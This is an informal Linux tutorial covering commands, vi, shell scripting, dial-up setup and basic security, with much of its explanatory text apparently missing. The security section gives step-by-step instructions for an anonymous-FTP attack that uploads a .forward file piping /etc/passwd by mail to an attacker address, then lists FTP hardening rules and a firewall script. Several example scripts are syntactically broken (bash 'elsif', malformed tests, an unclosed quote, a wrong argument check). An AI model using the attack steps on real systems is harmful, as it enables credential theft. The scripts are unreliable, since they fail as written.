Synfire's Quick Guide to Linux

Table of Contents
==================

1. Installing Linux
2. Commands
3. vi & vim
4. Shell Scripts
	a. Introduction to Shell Scripts
	b. Creating and Running Shell Scripts
	c. Variables
	d. The Significance of Quotes
	e. The Test Command
	f. Conditional Statements
	g. Iteration Statements
5. Connecting to the Internet
6. Securing your Linux Box

Commands

			List of Commands
			
! ............. repeats commands
alias  ........ this allows the user view the current aliases
cal ........... shows a calendar
cat ........... concatenates and  prints a file
cd ............ changes directories
chmod ......... changes the permission on a file
chown ......... changes the individual ownership of a file
cmp ........... compairs two files
comm .......... compares two sorted files line by line
cp ............ copies file to another location
date .......... returns the date and time
df ............ shows all mounted drives on your machine
diff .......... displays the differences between two files
du ............ shows the disk usage in blocks for a directory
echo .......... echoes the data to the screen or file
env ........... lists the current environment variables / sets an NAME
		to a VALUE in the environment then runs a COMMAND
expr .......... evaluates a mathmatical formula
find .......... finds a file
gcc ........... GNU c compiler
grep .......... searches for a pattern within a file
gawk .......... this allows users to search for patterns within a file
info .......... gives detailed information on any command
kill .......... stops a running process
ln ............ creates a link between two files
lpr ........... copies the file to the line printer
ls ............ lists the files in a directory
mail .......... allows the user to send/receive mail
man ........... displays a brief discription of a particular command
mkbootdisk .... creates a boot disk
mkdir ......... makes directory
more .......... displays a data file to the screen
mv ............ used to move or rename files
nohup ......... allows a command to continue running even when you log out
passwd ........ changes your password
ps ............ Lists the current processes running
pwd ........... displays the name of the working directory
rm ............ removes files
rmdir ......... removes directories
set ........... lists all the variables in the current shell
shutdown ...... restarts or shutsdown you computer
sleep ......... causes a process to become inactive
sort .......... sorts files
split ......... divides a file
stty .......... sets the terminal options
tar ........... Allows access to compress and decompress tarball files
touch ......... creates an empty file or updates the time/date stamp on a file
troff ......... outputs formatted output
tset .......... sets the terminal type
umask ......... specifies a new creation mask
vi ............ a powerful text editor
vipw .......... opens the vi editor as well as password file for editing
wc ............ prints the number of bytes, lines, and words in a file
who ........... displays information on other people online
write ......... send a message to another user



			Command Usage
    (not all commands are explained here, just the most common)
    
cat:	cat [OPTION] [FILE]...
		-A	--show-all (same as -vET)
		-b	--number-nonblank (number nonblank output lines)
		-e	same as -vE
		-E	--show-ends (displays a $ at the end of each line)
		-n	--number (number all output lines)
		-s	--squeeze-blank (never more than one blank line)
		-t	same as -vT
		-T	--show-tabs (displays tab characters as ^I)
		-u	(ignored)
		-v	--show-nonprinting (use ^ and M- notation, except
			for LFD and TAB)



cd:	cd [-PL] [dir]
		-P	use physical directory structure
		-L	follow symbolic links
		
chmod:	chmod [OPTION] MODE [,MODE]... [FILE]...
		-c	only report when change is made
		-f	silent output
		-v	output a diagnostic for every file processed
		-R	change files and directories reclusively

		MODE: format for a mode is...
			[ugoa] [[+-=][rwxXstugo]]
		
		the first part [ugoa] controls what users has access to 
		the file: the user that owns it(u), other users in the 
		files group(g), other users NOT in the files group(o),
		all users(a).
		
		the second part starts of with a +, -, or an =. The +
		adds the permission selected to the file, - takes the
		permission selected away from the file, and = sets the
		permission selected as the only permission the file has.

		the second part ends with a permission: read(r), write(w),
		execute(x), execute only if the file is a directory or 
		already has execute permissions for some user(X), set the
		group or user ID on execution(s), save program text on swap
		device(t), the permissions the user who owns the file 
		currently has on it(u), the permissions the other users
		in the file's group has on it(g), and the permissions the
		other users NOT in the file's group has on it(o).
		
		Note: chmod never changes the the permissions of a symbolic
		link, so don't even try! ;)
		
chown:	chown [OPTION] OWNER[:[GROUP]] FILE...
		chown has the same OPTIONS as chmod
		
cmp:	cmp [OPTION]... FILE1 [FILE2]
		-c	--print-characters (outputs differing bytes as
			characters)
		-i X	--ignore-initial=X (ignore first X bytes of input)
		-l	--verbose (outputs offsets and codes of all differing
			bytes)
		-s	--silent (output nothing; yield exit status only)
		
comm:	comm [OPTION]... LEFT_FILE RIGHT_FILE
		-1	suppress lines unique to left file
		-2	suppress lines unique to right file
		-3	suppress lines unique to both files
		
cp:	cp [OPTION] SOURCE DEST
		-a	--archive (same as -dpR)
		-b	--back-up (make a backup of each destination file)
		-d	--no-dereference (preserve links)
		-f	--force (remove existing destinations, never prompt)
		-i	--interactive (prompt before overwrite)
		-l	--link (link files instead of copying)
		-p	--preserve (preserve file attributes if possible)
		-P	--parents (append source path to directory)
		-r	copy reclusively, non-directories as files
			WARNING: use -R when copying special files like
			FIFO or /dev/zero.
		-R	copy directories reclusively
		-s	make symlink instead of copying
		-S	--suffix=SUFFIX (overide the usual backup suffix)
		-u	--update (copy only when SOURCE file is newer than
			the DEST file).
		-v	--verbose (explaine what is being done)
		-x	--one-filesystem (stay on this filesystem)
		
date:	date [OPTION] [+FORMAT]
		-d	--date=STRING (display time discribed by STRING)
		-r	--reference=FILE (display last modification date
			of FILE)
		-R	--rfc-822 (output RFC-822 compliant date string)
		-s	--set=STRING (set time described by STRING)
		-u	--utc-universal (print or set Coordinated Universal
			Time)
			
df:	df [OPTION] [FILE]
		-h	--human-readable (prints sizes in human readable
			format: 3K, 234M, 3G)
		-i	--inodes (list inodes information instead of block
			usage)
		-k	--kilobytes (same as --block-size=1024)
		-m	--megabytes (same as --block-size=1048576)
		
diff:	diff [OPTION] FILE1 FILE2
		-a	--text (treat all files as text)
		-i	--ignore-case (consider UPPER- and LOWER- case the same)
		-w	--ignore-all-spaces (ignore all whitespaces)
		-b	--ignore-space-change (ignore amount of whitespaces)
		-B	--ignore-blank (ignore changes in blank lines)
		-q	--quiet (output only whether files differ)
		-e	--ed (output an ed script)
		-n	--rcs (output an RCS format diff)
		-y	--side-by-side (output in two columns)
		-s	report when two files are the same
		-k SUF	--backup[=SUF] (compare file(s) with backup(s) ending
			with SUF)
		-x PAT	--exclude=PAT (exclude files that match PAT
		-H	--speed-large-files (assume large files and many 
			scattered changes)
			
du:	du -sh [FILE]    (fuck all the other options that is the best)


cho:	echo [OPTION] [STRING]...
		-n	do not output the trailing newline
		-e	enable interpretation of the backslash-escaped
			characters
		-E	disable interpretation of those sequences in STRINGs

env:	env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]... ]
		-i	--ignore-environment	start with an empty environment
		-u	--unset=NAME	remove variable from the environment
		
info:	info [FILE]

kill:	kill [OPTION] pid
		-s SIGNAL	--send (sends the specified signal)
		-p 		--print-pid (prints the pid of the named
				processes)
				
ln:	ln [OPTION]... TARGET [LINK_NAME]
		-b	--backup[=CONTROL] (make a backup of each existing
			destination file)
		-f	--force (remove existing destination file)
		-i	--interactive (prompt whether to remove destinations)
		-S	--suffix=SUFFIX (override the usual backup suffix)
		-v	--verbose (print the name of each file before linking)
		
ls:	ls [OPTION] [FILE...]
		-a	list all
		-A	list all except . and ..
		-f	do not sort
		-h	print sizes in human readable form
		-i	print index number of each file
		-m	list files side by side the width of the screen
			seperated by commas
		-o	use long listing format
		-Q	enclose entry names in double-quotes
		-r	reverse order while sorting
		-R	list subdirectories reclusively
		-s	print size of each file, in blocks
		-S	sort by file size
		-t	sort by modification time
		-U	do not sort, list in directory order
		-X	sort alphabeticaly by extension
	
man:	man COMMAND

mkdir: mkdir [OPTION] DIRECTORY...
		-m	--mode=MODE (set permission mode as in chmod)
		-p	--parents (no error if existing)
		
mv:	mv SOURCE DEST

nohup:	nohup COMMAND [ARG...]

passwd:	passwd [OPTION] USERNAME
		-l	locks an accounts password (root only)
		--stdin	reads the password from the command line
		-u	unlocks an accounts password (root only)
		-d	disables an accounts password (root only)
		-S	displays information about a users password (root only)
		
rm:	rm [OPTION] FILE...
		-d	unlink directory, even if non-empty (root only)
		-f	ignore non-existant files, never prompt
		-i	prompt before removal
		-r	remove contents of a directory reclusively
		-v	explain what is being done

rmdir:	rmdir DIR

shutdown:	shutdown [ -r | -h ] now [MESSAGE TO TERMINALS]
			-r	restart
			-h	halt on shutdown

sleep:	sleep NUMBER[SUFFIX]
		NUMBER		how many of the suffix
		SUFFIX		(s) seconds (m) minutes (h) hours (d) days

tar:	tar [OPTION] FILE...
		-t	lists the contents of the archive
		-x	extracts the contents of the archive
		-c	create a new archive
		-d	find differences between archives
		-r	append files to the end of an archive
		-u	append only files newer than copy in archive
		-A	append files to an archive
		
touch:	touch [OPTION] FILE...
		-a	access time only
		-c	do not create any files
		-d	--date=STRING (parse STRING and use it instead of 
		  	current time)
		-m	change only the modification time
		-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time
		
vi:	vi FILE

wc:	wc [OPTION] FILE...
		-c	print the byte counts
		-l	print the newline counts
		-L	print the length of the longest line
		-w	print the word count

who:	(when using who it is best to write your own version but if you
	can't just use the following syntax for the best results)
	who -HTu
	
write: write USER [ttyname]

Command Mode Commands:
			l ................. Move Right
			h ................. Move Left
			k ................. Move Up
			j ................. Move Down
		       dd ................. Delete Current Line
			x ................. Delete Current Letter
			i ................. Switch to Insert Mode
			u ................. Undo
		    <CTRL-R> .............. Redo
		    	:w ................ Save
			:w [filename] ..... Save as...
			:qa ............... Exit Without Save
			:wqa .............. Save and Exit
			[X]Y .............. Copy Current Line and X lines below
			[X]p .............. Paste between Current and Next line
					    X number of times.
			
Insert Mode Commands:
			<CTRL-W> .......... Delete Previous Word
			<BACKSPACE> ....... Delete Previous Letter
			<DELETE> .......... Delete Next Letter
			<ESC> ............. Switch to Command Mode

 
#!/bin/bash  # This is the interpreter it is located at `/bin/bash'
	     # The first line will be in all bash scripts
	     # if you were writing a tcsh script it would be
	     # represented by `#!/bin/tcsh'
	     
# remount.sh - This script remounts the floppy drive
# This is a comment prompt, comments are overlooked by the interpreter
# and are only used to make modifiying files easier.
      
umount /mnt/floppy 	# This part unmounts the floppy drive

mount /mnt/floppy 	# This part mounts the floppy drive

	Now that we have written this file in vi save the file as remount.sh.
Now type `:wqa' to save and exit. Now at the command prompt type:

root@localhost /]# chmod a+x remount.sh

	This will make remount.sh executable. Now you should place this file
in the /bin directory, do so by typing:

root@localhost /]# mv remount.sh /bin

	Now all there is left to do is execute the script by typing its name
in the command prompt like so:

root@localhost /]# remount.sh

root@localhost /]# . remount

tcsh users type:

root@localhost /]# source remount

name=Jack
age=22

echo $name

	The output during execution would be:

root@localhost /]# 
Jack
root@localhost /]#

#!/bin/bash

# remount - Advanded remount program

umount $1
mount $1

Variable 		Description
$# .................... Stores the number of command-line arguments passed
$? .................... Store the exit value of the last executed command
$* .................... Stores all the arguments on the command-line
$@ .................... Stores all the arguments on the command-line,
			individually double-quoted
$0 .................... Holds the name of the shell script (ie. remount)
$LOGNAME .............. Holds the username of the current user

fname=Jack
lname=Ripper

flcone="$fname $lname"
flctwo='$fname $lname'

echo "$flcone is in double-quotes"
echo "$flctwo is in single-quotes"

	Now when executed you can see what the difference is:

root@localhost /]# . double-single_test.sh
Jack Ripper is in double-quotes
$fname $lname is in single-quotes
root@localhost /]# 

(using double-quotes)

name="Jack Ripper"

(using backslash)

name=Jack\ Ripper

#!/bin/bash

# greetings.sh - prints a degrating message to the current user.

me=`whoami`
amount=\$0.01
$mom='$0.01'
echo "$me is worth $amount, that's $mom more than what I payed for $me 's Mom!"

Table 1.1
Integer Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition                                           |
+----------------------------------------------------------------------------+
|   expr1 -eq expr2  |	Returns True if expr1 is equal to expr2              |
+----------------------------------------------------------------------------+
|   expr1 -ge expr2  |	Returns True if expr1 is greater than or equal to    |
|    		     |	expr2                                                |
+----------------------------------------------------------------------------+
|   expr1 -gt expr2  |	Returns True if expr1 is greater than expr2          |
+----------------------------------------------------------------------------+
|   expr1 -le expr2  |	Returns True if expr1 is less than or equal to expr2 |
+----------------------------------------------------------------------------+
|   expr1 -lt expr2  |	Returns True if expr1 is less than expr2	     |
+----------------------------------------------------------------------------+
|   expr1 -ne expr2  |	Returns True if expr1 does NOT equal expr2           |
+----------------------------------------------------------------------------+

Table 1.2
String Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     str1 = str2    |	Returns True if str1 is identical to str2            |
+----------------------------------------------------------------------------+
|     str1 != str2   |	Returns True if str1 is not identical to str2        |
+----------------------------------------------------------------------------+
|      -n str        |	Returns True if the length of str is greater than    |
|		     |	zero						     |
+----------------------------------------------------------------------------+
|      -z str	     | 	Returns True if the length of str is equal to zero   |
+----------------------------------------------------------------------------+
|       str          |	str in a Test command without any other operators    |
|		     |	returns True if str is not equal to NULL             |
+----------------------------------------------------------------------------+

Table 1.3
File Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     -d filename    |	Returns True if filename is a directory		     |
+----------------------------------------------------------------------------+
|     -f filename    |	Returns True if filename is a file		     |
+----------------------------------------------------------------------------+
|     -r filename    |	Returns True if filename can be read 		     |
+----------------------------------------------------------------------------+
|     -s filename    |	Returns True if filename has a non-zero length       |
+----------------------------------------------------------------------------+
|     -w filename    |	Returns True if filename can be written to     	     |
+----------------------------------------------------------------------------+
|     -x filename    |	Returns True if filename is executable		     |
+----------------------------------------------------------------------------+

Table 1.4
Logical Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     ! expression   |	Returns True if expression is false		     |
+----------------------------------------------------------------------------+
|    exprA -a exprB  |	Returns True if exprA and exprB are both true        |
+----------------------------------------------------------------------------+
|    exprA -o exprB  |	Returns True if exprA or exprB is true		     |
+----------------------------------------------------------------------------+

if [ expression ]
then

commands1

elif [ expression2 ]
then

commands2

else

commands3

fi

--------------------(cut here)------------------------
#!/bin/bash

# bye - This script will either shutdown or restart your computer

reboot="-r" 	# sets the -r flag
shutdown="-s"	# sets the -s flag

if [ "$#" -ne 1 ]	# makes sure that an argument was entered
then

echo "Usage: $0 [OPTION]"
echo "           -r	reboot"
echo "		 -s	shutdown"

elsif [ "$1" = $reboot ]	# executes reboot command if the argument is -r
then

shutdown -r now

elsif [ "$1" = $shutdown ]	# executes a shutdown if the argument is -s
then

shutdown -h now

else  		# if the argument is not -r, -s, or NULL then an error is
		# displayed
		
echo "Error: Option not available!"
echo "Usage: $0 [OPTION]"
echo "		-r	reboot"
echo "		-s	shutdown"

fi

---------------------(cut here)--------------------------

case pattern in

pattern1)

commands1;;

pattern2)

commands2;;

pattern3)

commands3;;

*)

commands4;;

esac

---------------------------(cut here)---------------------------
#!/bin/bash

# bye2 - This script will either shutdown or restart your computer

case "$1" in

-s)

shutdown -h now
;;

-r)

shutdown -r now
;;

*)

echo "Usage: $0 [OPTION]"
echo "      -r	reboot"
echo "	    -s	shutdown"
;;

esac
------------------------------(cut here))-------------------------

for variable in list

do

commands

done

for variable

do

commands

done

for variable in "$@"

do

commands

done

while expression
do

commands

done

---------------------------(cut here)-----------------------------
#!/bin/bash

# example-while.sh - This script list the parameters passed to the script
# in a numbered list

count=1

while [ -n "$*" ]

do

echo "$count .......... $1"

shift

count=`expr $count + 1`

done
----------------------------(cut here)-----------------------------

until expression
do

commands

done

------------------------------(cut here))-------------------------------
#!/bin/bash

# shift_example.sh - This script better explains the shift command

if [ $# -ne 1 ]
then

echo "Please enter three arguments on the command-line."

else

echo "arguments before shift $1 $2 $3"

shift

echo "arguments after shift $1 $2 $3"
echo "Does that explain what shift does better?"

fi
-----------------------------(cut here)---------------------------------

select menuitem [in item1 item2 item3 item4]
do

echo "Are you sure you want $menuitem? [y/n] "

read yorn

if [ $yorn = "y" -o $yorn = "Y" ]

then

break

fi

done

function1 () {

commands

}

----------------------------------(cut here)--------------------------------
#!/bin/bash

# stronger.sh - This script strengthens your linux security
# You may need to edit this for it to work on your version.
# Tested on MDK 7.1, MDK 7.2, and MDK 8.0

if [[ -f /usr/share/msec/lib.sh]]; then
  . /usr/share/msec/lib.sh
else
echo "Couldn't find /usr/share/msec/lib.sh"
exit 1
fi

stack_overflow () {

echo "Stack Overflow				[SECURED]"
AddRules "/lib/libsafe.so.1.3" /etc/ld.so.preload

}

umask () {

echo "User Masks				[SECURED]"
AddRules "if [[ \${UID} == 0 ]]; then umask 022; else umask 077; fi"/etc/profile
AddRules "if [[ \${UID} == 0 ]]; then umask 022; else umask 077; fi"/etc/zprofile
AddRules "PATH=\$PATH:/usr/X11R6/bin:/usr/games" /etc/profile quiet
AddRules "export PATH SECURE_LEVEL" /etc/profile
AddRules "PATH=\$PATH:/usr/X11R6/bin:/usr/games" /etc/zprofile quiet
AddRules "export PATH SECURE_LEVEL" /etc/zprofile

}

while [ $choice -ne 3 ]
do

echo "What would you like to do?"
echo " "
echo "1.	Add User Mask Protection"
echo "2.	Add Stack Overflow Protection"
echo "3. 	Exit
echo " "
echo "Enter a choice: "
read choice

if [ $choice -eq 1 ]
then

stack_overflow []

elif [ $choice -eq 2 ]
then

umask []

else

echo "Good-bye!"
exit 1

fi
---------------------------------(cut here)--------------------------------

LINUX          DOS/WINDOWS
---------------------------
/dev/cua0      COM1
/dev/cua1      COM2
/dev/cua2      COM3
/dev/cua3      COM4

Step by Step Instructions-

Step 1)  Open the '/etc/resolv.conf' file in vi and enter the following:

search YOURISPWEBPAGE.com
nameserver XXX.XXX.XXX.XX
nameserver XXX.XXX.XXX.XX

Step 2)  Open the '/etc/ppp/options' file in vi and enter the following:

0.0.0.0:
/dev/cua1
section
lock
crtscts
defaultroute
asyncmap 0
mtu 552
mtu 552
name username
YOURISPWEBPAGE.com one

Step 3)  Type 'linuxconf' then go to:
		>Config
			..>Networking
				..>ppp/slip/plip

Step 4)  Type 'linuxconf' again and go to:
		>Control
			..>Control Panel
				..>Control PPP/SLIP/PLIP Link

1. Create a fake .forward file that has the following command in it:
   • |/bin/mail attacker@email.com < /etc/passwd
2. Connect to the victim through FTP and log in as user FTP.
3. Enter any password you wish.
4. Upload the .forward file you have created.
5. Log out and send mail to ftp@victim.machine.com.

1. Only the /incoming directory should be made writable and only by root and user FTP.
2. Anonymous FTP users should have only executable (and read) access to the /pub and the /incoming directory.
3. FTP users should NOT be able to write to /ftp.

   #!/bin/sh
   # Example ipchains Script
   # By Ghost_Rider
   # For linux networking tutorial

   IPCHAINS="/sbin/ipchains"
   DNSSERVER="PUT UR DNS SERVER HERE"
   
   # flush rules
   
   $IPCHAINS -F input
   $IPCHAINS -F output
   $IPCHAINS -F forward
   
   # Set policies
 
   $IPCHAINS -P input DENY
   $IPCHAINS -P output accept
   $IPCHAINS -P forward DENY
   
   # Accept all local traffic
    
   $IPCHAINS -A input -i lo -j ACCEPT
   $IPCHAINS -A input -i eth0 -j ACCEPT
   
   # Deny private address comming from ppp0
   # Attemps of spoof to use our host to masquerade
   
   $IPCHAINS -A input -i ppp0 -s 10.0.0.0/8 -j DENY
   $IPCHAINS -A input -i ppp0 -s 172.16.0.0/12 -j DENY
   $IPCHAINS -A input -i ppp0 -s 192.168.0.0/24 -j DENY
   
   # Let's set IP Masquerading
   
   echo "1" > /proc/sys/net/ipv4/ip_forward
   $IPCHAINS -A forward -s 192.168.0.0/24 -d ! 192.168.0.0/24 -j MASQ
   
   #  Allow DNS
   
   $IPCHAINS -A input -i ppp0 -p tcp -s $DNSSERVER --sport 53 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p udp -s $DNSSERVER --sport 53 -j ACCEPT
   
   # Reject auth so you don't have to wait till timeout when sending mails
   
   $IPCHAINS -A input -i ppp0 -p tcp --dport 113 -j REJECT
   
   # Allowing ICMPs necessary
   # 0 = echo reply
   # 3 = Destination unreachable
   # 11 = time exceeded
   
   $IPCHAINS -A input -i ppp0 -p icmp --dport 0 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p icmp --dport 3 -j ACCEPT
   $IPCHAINS -A input -i ppp0 -p icmp --dport 11 -j ACCEPT
   
   # Log everything else..
   # Let's see what is on the next door
   
   $IPCHAINS -A input -i ppp0 -j DENY -l